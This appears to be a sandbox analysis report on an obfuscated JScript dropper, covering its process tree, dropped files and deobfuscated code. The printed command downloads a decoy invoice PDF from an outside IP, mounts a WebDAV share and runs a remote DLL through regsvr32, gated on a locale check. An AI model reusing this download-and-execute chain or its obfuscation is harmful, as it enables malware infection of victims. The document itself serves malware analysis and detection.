Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18497), with CRLF line terminators
Entropy (8bit):	4.903717968705701
TrID:
File name:	15410205613216010723.js
File size:	21'990 bytes
MD5:	cba37af2b2029e6ff9f32f4422bca1ba
SHA1:	ccd7aa116bfb1b3a9fc84afacb083dfddfc3c8b2
SHA256:	139b2ec20082d263b0571f19c993191c432347453c29ed0188dbc3ba39639a96
SHA512:	e96dfbea5a049cba37503f23211f7c98853cf8c496e47e0dd890fcb3f1c82ce4995bda2d9801d202167769be69a6d969b17165e1dba12477d1ca3ef50a1670d8
SSDEEP:	192:Qvw7MtFF6Q7FsL1lRxilRxo2buLcgLD4Ndwh1EIMbhiGljhxYQtiluwjIDHZPu3n:WAMtB7FlbubsbD9RhxSluwjIDHI3sLQ
TLSH:	2BA26294DD019BABC5CEC5F73692588243C842CDCBA88A8D990420F983C59FFB7DA17D
File Content Preview:	function orddhn(){ehjmdmspy=[1031,3079,5127,4103,2055,3072];var lkubspe=this[cuuke+bmjfyyci+bzeqfjck+nixtdfp+qgitggug+yhoaipq+mwarr+eouekgegt](this[aaflem+ypppl+nhuukerl+bzeqfjck+uqiltneb+cuuke+eouekgegt][omlcsux+bzeqfjck+qgitggug+bmjfyyci+eouekgegt+qgitg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	13:33:49
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js"
Imagebase:	0x7ff74e960000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:33:49
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Imagebase:	0x7ff67f050000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:33:49
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:33:49
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:33:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:33:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff67f050000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:33:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff666aa0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:33:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:33:55
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:33:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1644,i,13885196146419999053,7004580303656281746,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function orddhn() {	orddhn() ➔ undefined
1	ehjmdmspy = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lkubspe = this[cuuke + bmjfyyci + bzeqfjck + nixtdfp + qgitggug + yhoaipq + mwarr + eouekgegt] ( this[aaflem + ypppl + nhuukerl + bzeqfjck + uqiltneb + cuuke + eouekgegt][omlcsux + bzeqfjck + qgitggug + bmjfyyci + eouekgegt + qgitggug + nqavz + zukjenlb + tidhec + qgitggug + nhuukerl + eouekgegt] ( aaflem + ypppl + nhuukerl + bzeqfjck + uqiltneb + cuuke + eouekgegt + ukbwq + ypppl + zhwlwob + qgitggug + beqpal + beqpal ) [qvnkcha + qgitggug + ceipzboba + qvnkcha + qgitggug + bmjfyyci + ffoagys] ( gzvfuqfcs + qeqciq + xjcvn + ylnyykyt + onzrq + omlcsux + llmem + qvnkcha + qvnkcha + xjcvn + ohggc + fxmqp + onzrq + llmem + ypppl + xjcvn + qvnkcha + fscmmfmdf + omlcsux + eymbqd + mwarr + eouekgegt + bzeqfjck + eymbqd + beqpal + uuhiibe + hsyibey + bmjfyyci + mwarr + qgitggug + beqpal + fscmmfmdf + yhoaipq + mwarr + eouekgegt + qgitggug + bzeqfjck + mwarr + bmjfyyci + eouekgegt + uqiltneb + eymbqd + mwarr + bmjfyyci + beqpal + fscmmfmdf + izuebzgwk + eymbqd + nhuukerl + bmjfyyci + beqpal + qgitggug ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gppptwrj = 0 ; gppptwrj < ehjmdmspy[beqpal + qgitggug + mwarr + ceipzboba + eouekgegt + zhwlwob] ; ++ gppptwrj )
4	{
5	if ( lkubspe == ehjmdmspy[gppptwrj] )
6	{
7	lkubspe = true;
8	break ;
9	}
10	}
11	if ( lkubspe !== true )
12	this[aaflem + ypppl + nhuukerl + bzeqfjck + uqiltneb + cuuke + eouekgegt][dydenxrp + xghnd + uqiltneb + eouekgegt] ( );
13	this[aaflem + ypppl + nhuukerl + bzeqfjck + uqiltneb + cuuke + eouekgegt][omlcsux + bzeqfjck + qgitggug + bmjfyyci + eouekgegt + qgitggug + nqavz + zukjenlb + tidhec + qgitggug + nhuukerl + eouekgegt] ( aaflem + ypppl + nhuukerl + bzeqfjck + uqiltneb + cuuke + eouekgegt + ukbwq + ypppl + zhwlwob + qgitggug + beqpal + beqpal ) [bzeqfjck + xghnd + mwarr] ( nhuukerl + cpptfvcpv + ffoagys + uuhiibe + ylpcdlflg + nhuukerl + uuhiibe + cuuke + eymbqd + ohxajjq + qgitggug + bzeqfjck + nixtdfp + zhwlwob + qgitggug + beqpal + beqpal + ukbwq + qgitggug + huytl + qgitggug + uuhiibe + gjmuetgks + omlcsux + eymbqd + cpptfvcpv + cpptfvcpv + bmjfyyci + mwarr + ffoagys + uuhiibe + vhcmn + yhoaipq + mwarr + zelew + eymbqd + zwaas + qgitggug + gjmuetgks + aaflem + qgitggug + zukjenlb + qvnkcha + qgitggug + ybmilf + xghnd + qgitggug + nixtdfp + eouekgegt + uuhiibe + gjmuetgks + nqavz + xghnd + eouekgegt + bwnghdmra + uqiltneb + beqpal + qgitggug + uuhiibe + zxilrjyj + eouekgegt + qgitggug + cpptfvcpv + cuuke + zxilrjyj + fscmmfmdf + uqiltneb + mwarr + zelew + eymbqd + uqiltneb + nhuukerl + qgitggug + ukbwq + cuuke + ffoagys + iozlyybtt + uuhiibe + zhwlwob + eouekgegt + eouekgegt + cuuke + nxqannjps + ylpcdlflg + ylpcdlflg + ylofvm + hfvdaw + wabuircc + ukbwq + ylofvm + jqwinhke + wabuircc + ukbwq + ylofvm + ukbwq + qjhoqg + yrddot + wxwvj + ylpcdlflg + uqiltneb + mwarr + zelew + eymbqd + uqiltneb + nhuukerl + qgitggug + ukbwq + cuuke + zhwlwob + cuuke + vhcmn + olnfsnd + olnfsnd + nixtdfp + eouekgegt + bmjfyyci + bzeqfjck + eouekgegt + uuhiibe + zxilrjyj + eouekgegt + qgitggug + cpptfvcpv + cuuke + zxilrjyj + fscmmfmdf + uqiltneb + mwarr + zelew + eymbqd + uqiltneb + nhuukerl + qgitggug + ukbwq + cuuke + ffoagys + iozlyybtt + olnfsnd + olnfsnd + nhuukerl + cpptfvcpv + ffoagys + uuhiibe + ylpcdlflg + nhuukerl + uuhiibe + mwarr + qgitggug + eouekgegt + uuhiibe + xghnd + nixtdfp + qgitggug + uuhiibe + fscmmfmdf + fscmmfmdf + ylofvm + hfvdaw + wabuircc + ukbwq + ylofvm + jqwinhke + wabuircc + ukbwq + ylofvm + ukbwq + qjhoqg + yrddot + wxwvj + buvxvkl + bmgpk + bmgpk + bmgpk + bmgpk + fscmmfmdf + ffoagys + bmjfyyci + zelew + ohxajjq + ohxajjq + ohxajjq + bzeqfjck + eymbqd + eymbqd + eouekgegt + fscmmfmdf + olnfsnd + olnfsnd + nhuukerl + cpptfvcpv + ffoagys + uuhiibe + ylpcdlflg + nhuukerl + uuhiibe + bzeqfjck + qgitggug + ceipzboba + nixtdfp + zelew + bzeqfjck + wabuircc + qjhoqg + uuhiibe + ylpcdlflg + nixtdfp + uuhiibe + fscmmfmdf + fscmmfmdf + ylofvm + hfvdaw + wabuircc + ukbwq + ylofvm + jqwinhke + wabuircc + ukbwq + ylofvm + ukbwq + qjhoqg + yrddot + wxwvj + buvxvkl + bmgpk + bmgpk + bmgpk + bmgpk + fscmmfmdf + ffoagys + bmjfyyci + zelew + ohxajjq + ohxajjq + ohxajjq + bzeqfjck + eymbqd + eymbqd + eouekgegt + fscmmfmdf + ylofvm + yjypoufnp + yrddot + hfvdaw + qjhoqg + qjhoqg + qjhoqg + wabuircc + wabuircc + qjhoqg + bmgpk + hfvdaw + jqwinhke + ukbwq + ffoagys + beqpal + beqpal, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll",0,false) ➔ 0
14	}
15	llmem = "z";
16	llmem = "n";
17	llmem = "I";
18	llmem = "e";
19	llmem = "Z";
20	llmem = "p";
21	llmem = "U";
22	llmem = "L";
23	llmem = "P";
24	llmem = "u";
25	llmem = "u";
26	llmem = "z";
27	llmem = "g";
28	llmem = "M";
29	llmem = "p";
30	llmem = "S";
31	llmem = "U";
32	llmem = "q";
33	llmem = "v";
34	llmem = "U";
35	llmem = "C";
36	llmem = "L";
37	llmem = "n";
38	llmem = "e";
39	llmem = "f";
40	llmem = "k";
41	llmem = "e";
42	llmem = "G";
43	llmem = "y";
44	llmem = "b";
45	llmem = "b";
46	llmem = "z";
47	llmem = "W";
48	llmem = "d";
49	llmem = "C";
50	llmem = "U";
51	bmgpk = "v";
52	bmgpk = "b";
53	bmgpk = "s";
54	bmgpk = "R";
55	bmgpk = "l";
56	bmgpk = "E";
57	bmgpk = "8";
58	tidhec = "I";
59	tidhec = "F";
60	tidhec = "g";
61	tidhec = "O";
62	tidhec = "j";
63	ylofvm = "A";
64	ylofvm = "U";
65	ylofvm = "f";
66	ylofvm = "u";
67	ylofvm = "e";
68	ylofvm = "M";
69	ylofvm = "D";
70	ylofvm = "r";
71	ylofvm = "A";
72	ylofvm = "X";
73	ylofvm = "H";
74	ylofvm = "y";
75	ylofvm = "N";
76	ylofvm = "n";
77	ylofvm = "G";
78	ylofvm = "J";
79	ylofvm = "n";
80	ylofvm = "V";
81	ylofvm = "S";
82	ylofvm = "O";
83	ylofvm = "M";
84	ylofvm = "Z";
85	ylofvm = "u";
86	ylofvm = "u";
87	ylofvm = "1";
88	onzrq = "Z";
89	onzrq = "A";
90	onzrq = "F";
91	onzrq = "B";
92	onzrq = "k";
93	onzrq = "X";
94	onzrq = "I";
95	onzrq = "s";
96	onzrq = "L";
97	onzrq = "Z";
98	onzrq = "s";
99	onzrq = "N";
100	onzrq = "W";
101	onzrq = "Y";
102	onzrq = "e";
103	onzrq = "d";
104	onzrq = "F";
105	onzrq = "s";
106	onzrq = "B";
107	onzrq = "G";
108	onzrq = "U";
109	onzrq = "I";
110	onzrq = "w";
111	onzrq = "c";
112	onzrq = "h";
113	onzrq = "r";
114	onzrq = "A";
115	onzrq = "K";
116	onzrq = "j";
117	onzrq = "Y";
118	onzrq = "_";
119	xjcvn = "i";
120	xjcvn = "n";
121	xjcvn = "o";
122	xjcvn = "h";
123	xjcvn = "t";
124	xjcvn = "z";
125	xjcvn = "E";
126	ylnyykyt = "J";
127	ylnyykyt = "I";
128	ylnyykyt = "S";
129	ylnyykyt = "n";
130	ylnyykyt = "C";
131	ylnyykyt = "i";
132	ylnyykyt = "u";
133	ylnyykyt = "l";
134	ylnyykyt = "b";
135	ylnyykyt = "H";
136	ylnyykyt = "s";
137	ylnyykyt = "w";
138	ylnyykyt = "Z";
139	ylnyykyt = "Y";
140	qjhoqg = "h";
141	qjhoqg = "x";
142	qjhoqg = "2";
143	ylpcdlflg = "u";
144	ylpcdlflg = "X";
145	ylpcdlflg = "m";
146	ylpcdlflg = "B";
147	ylpcdlflg = "A";
148	ylpcdlflg = "y";
149	ylpcdlflg = "I";
150	ylpcdlflg = "/";
151	beqpal = "D";
152	beqpal = "e";
153	beqpal = "p";
154	beqpal = "J";
155	beqpal = "A";
156	beqpal = "q";
157	beqpal = "P";
158	beqpal = "S";
159	beqpal = "q";
160	beqpal = "E";
161	beqpal = "J";
162	beqpal = "q";
163	beqpal = "I";
164	beqpal = "z";
165	beqpal = "y";
166	beqpal = "u";
167	beqpal = "F";
168	beqpal = "l";
169	uuhiibe = "O";
170	uuhiibe = "q";
171	uuhiibe = "P";
172	uuhiibe = "Q";
173	uuhiibe = "M";
174	uuhiibe = "N";
175	uuhiibe = "z";
176	uuhiibe = "Z";
177	uuhiibe = "l";
178	uuhiibe = "D";
179	uuhiibe = "v";
180	uuhiibe = "i";
181	uuhiibe = "t";
182	uuhiibe = "H";
183	uuhiibe = " ";
184	qeqciq = "S";
185	qeqciq = "Z";
186	qeqciq = "k";
187	qeqciq = "X";
188	qeqciq = "Q";
189	qeqciq = "z";
190	qeqciq = "e";
191	qeqciq = "y";
192	qeqciq = "F";
193	qeqciq = "N";
194	qeqciq = "H";
195	qeqciq = "N";
196	qeqciq = "N";
197	qeqciq = "V";
198	qeqciq = "J";
199	qeqciq = "K";
200	buvxvkl = "M";
201	buvxvkl = "Z";
202	buvxvkl = "T";
203	buvxvkl = "H";
204	buvxvkl = "f";
205	buvxvkl = "w";
206	buvxvkl = "b";
207	buvxvkl = "l";
208	buvxvkl = "b";
209	buvxvkl = "s";
210	buvxvkl = "S";
211	buvxvkl = "N";
212	buvxvkl = "w";
213	buvxvkl = "g";
214	buvxvkl = "u";
215	buvxvkl = "m";
216	buvxvkl = "y";
217	buvxvkl = "J";
218	buvxvkl = "O";
219	buvxvkl = "m";
220	buvxvkl = "B";
221	buvxvkl = "q";
222	buvxvkl = "S";
223	buvxvkl = "c";
224	buvxvkl = "q";
225	buvxvkl = "V";
226	buvxvkl = "@";
227	nixtdfp = "F";
228	nixtdfp = "g";
229	nixtdfp = "L";
230	nixtdfp = "O";
231	nixtdfp = "e";
232	nixtdfp = "T";
233	nixtdfp = "D";
234	nixtdfp = "J";
235	nixtdfp = "x";
236	nixtdfp = "H";
237	nixtdfp = "C";
238	nixtdfp = "w";
239	nixtdfp = "d";
240	nixtdfp = "m";
241	nixtdfp = "g";
242	nixtdfp = "M";
243	nixtdfp = "U";
244	nixtdfp = "X";
245	nixtdfp = "F";
246	nixtdfp = "U";
247	nixtdfp = "A";
248	nixtdfp = "k";
249	nixtdfp = "o";
250	nixtdfp = "A";
251	nixtdfp = "O";
252	nixtdfp = "M";
253	nixtdfp = "T";
254	nixtdfp = "C";
255	nixtdfp = "c";
256	nixtdfp = "C";
257	nixtdfp = "U";
258	nixtdfp = "o";
259	nixtdfp = "d";
260	nixtdfp = "s";
261	nqavz = "V";
262	nqavz = "e";
263	nqavz = "F";
264	nqavz = "T";
265	nqavz = "C";
266	nqavz = "o";
267	nqavz = "s";
268	nqavz = "b";
269	nqavz = "D";
270	nqavz = "X";
271	nqavz = "n";
272	nqavz = "k";
273	nqavz = "N";
274	nqavz = "V";
275	nqavz = "Y";
276	nqavz = "z";
277	nqavz = "o";
278	nqavz = "t";
279	nqavz = "F";
280	nqavz = "N";
281	nqavz = "g";
282	nqavz = "P";
283	nqavz = "O";
284	gzvfuqfcs = "D";
285	gzvfuqfcs = "k";
286	gzvfuqfcs = "y";
287	gzvfuqfcs = "u";
288	gzvfuqfcs = "H";
289	gzvfuqfcs = "y";
290	gzvfuqfcs = "v";
291	gzvfuqfcs = "V";
292	gzvfuqfcs = "p";
293	gzvfuqfcs = "x";
294	gzvfuqfcs = "U";
295	gzvfuqfcs = "U";
296	gzvfuqfcs = "J";
297	gzvfuqfcs = "k";
298	gzvfuqfcs = "i";
299	gzvfuqfcs = "A";
300	gzvfuqfcs = "i";
301	gzvfuqfcs = "x";
302	gzvfuqfcs = "Q";
303	gzvfuqfcs = "u";
304	gzvfuqfcs = "c";
305	gzvfuqfcs = "R";
306	gzvfuqfcs = "q";
307	gzvfuqfcs = "k";
308	gzvfuqfcs = "r";
309	gzvfuqfcs = "Z";
310	gzvfuqfcs = "d";
311	gzvfuqfcs = "e";
312	gzvfuqfcs = "q";
313	gzvfuqfcs = "M";
314	gzvfuqfcs = "j";
315	gzvfuqfcs = "l";
316	gzvfuqfcs = "I";
317	gzvfuqfcs = "d";
318	gzvfuqfcs = "K";
319	gzvfuqfcs = "s";
320	gzvfuqfcs = "G";
321	gzvfuqfcs = "t";
322	gzvfuqfcs = "J";
323	gzvfuqfcs = "A";
324	gzvfuqfcs = "l";
325	gzvfuqfcs = "c";
326	gzvfuqfcs = "L";
327	gzvfuqfcs = "v";
328	gzvfuqfcs = "H";
329	dydenxrp = "h";
330	dydenxrp = "e";
331	dydenxrp = "G";
332	dydenxrp = "i";
333	dydenxrp = "d";
334	dydenxrp = "e";
335	dydenxrp = "h";
336	dydenxrp = "S";
337	dydenxrp = "H";
338	dydenxrp = "z";
339	dydenxrp = "t";
340	dydenxrp = "u";
341	dydenxrp = "k";
342	dydenxrp = "h";
343	dydenxrp = "Z";
344	dydenxrp = "F";
345	dydenxrp = "V";
346	dydenxrp = "O";
347	dydenxrp = "q";
348	dydenxrp = "C";
349	dydenxrp = "N";
350	dydenxrp = "f";
351	dydenxrp = "h";
352	dydenxrp = "Y";
353	dydenxrp = "t";
354	dydenxrp = "d";
355	dydenxrp = "a";
356	dydenxrp = "t";
357	dydenxrp = "C";
358	dydenxrp = "Q";
359	dydenxrp = "N";
360	dydenxrp = "T";
361	dydenxrp = "a";
362	dydenxrp = "e";
363	dydenxrp = "X";
364	dydenxrp = "a";
365	dydenxrp = "R";
366	dydenxrp = "U";
367	dydenxrp = "w";
368	dydenxrp = "c";
369	dydenxrp = "y";
370	dydenxrp = "m";
371	dydenxrp = "t";
372	dydenxrp = "Q";
373	zelew = "g";
374	zelew = "E";
375	zelew = "t";
376	zelew = "j";
377	zelew = "w";
378	zelew = "L";
379	zelew = "v";
380	jqwinhke = "b";
381	jqwinhke = "C";
382	jqwinhke = "M";
383	jqwinhke = "m";
384	jqwinhke = "o";
385	jqwinhke = "Q";
386	jqwinhke = "j";
387	jqwinhke = "4";
388	fxmqp = "b";
389	fxmqp = "u";
390	fxmqp = "V";
391	fxmqp = "l";
392	fxmqp = "M";
393	fxmqp = "B";
394	fxmqp = "x";
395	fxmqp = "T";
396	uqiltneb = "K";
397	uqiltneb = "D";
398	uqiltneb = "v";
399	uqiltneb = "b";
400	uqiltneb = "J";
401	uqiltneb = "u";
402	uqiltneb = "l";
403	uqiltneb = "B";
404	uqiltneb = "o";
405	uqiltneb = "P";
406	uqiltneb = "u";
407	uqiltneb = "g";
408	uqiltneb = "t";
409	uqiltneb = "g";
410	uqiltneb = "R";
411	uqiltneb = "i";
412	omlcsux = "V";
413	omlcsux = "J";
414	omlcsux = "K";
415	omlcsux = "r";
416	omlcsux = "X";
417	omlcsux = "o";
418	omlcsux = "S";
419	omlcsux = "j";
420	omlcsux = "w";
421	omlcsux = "s";
422	omlcsux = "G";
423	omlcsux = "b";
424	omlcsux = "u";
425	omlcsux = "D";
426	omlcsux = "J";
427	omlcsux = "p";
428	omlcsux = "w";
429	omlcsux = "M";
430	omlcsux = "y";
431	omlcsux = "P";
432	omlcsux = "y";
